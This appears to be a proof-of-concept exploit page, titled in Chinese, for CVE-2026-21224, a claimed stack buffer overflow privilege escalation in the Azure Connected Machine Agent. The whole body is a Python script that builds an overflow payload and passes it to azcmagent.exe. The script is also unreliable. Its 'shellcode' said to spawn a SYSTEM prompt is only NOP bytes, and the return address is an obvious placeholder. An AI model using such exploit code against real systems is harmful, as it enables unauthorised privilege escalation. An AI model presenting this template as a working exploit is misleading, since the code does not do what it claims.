CVE-2026-21224 Azure Connected Machine Agent栈缓冲区溢出权限提升漏洞

# CVE-2026-21224 PoC - Azure Connected Machine Agent Stack Buffer Overflow # This PoC demonstrates privilege escalation via stack buffer overflow # Note: This is a proof-of-concept for educational purposes only import struct import subprocess import os def create_exploit_payload(): """ Generate exploit payload for CVE-2026-21224 The vulnerability is in Azure Connected Machine Agent's input handling """ # Buffer overflow offset (to reach return address) offset = 1048 # NOP sled nop_sled = b'\x90' * 256 # Shellcode for privilege escalation to SYSTEM # This shellcode spawns a SYSTEM-level command prompt shellcode = bytearray([ 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 ]) # Padding to reach offset padding = b'A' * (offset - len(nop_sled) - len(shellcode)) # Return address (pointing to NOP sled) return_address = struct.pack('<Q', 0x00007ffa12345678) # Construct payload payload = nop_sled + shellcode + padding + return_address * 10 return payload def trigger_vulnerability(): """ Trigger the buffer overflow in Azure Connected Machine Agent Requires local low-privilege access to the system """ payload = create_exploit_payload() # Target process/interface for Azure Connected Machine Agent # The exact trigger method depends on the vulnerable component target = r'C:\Program Files\AzureConnectedMachineAgent\azcmagent.exe' if os.path.exists(target): # Trigger with malicious input subprocess.Popen([target, 'exec', payload.decode('latin-1')]) print(f'[*] Payload sent to {target}') print(f'[*] Payload size: {len(payload)} bytes') else: print(f'[!] Target not found: {target}') print('[*] Adjust path according to installation directory') if __name__ == '__main__': print('=== CVE-2026-21224 PoC ===') print('Azure Connected Machine Agent - Stack Buffer Overflow') trigger_vulnerability()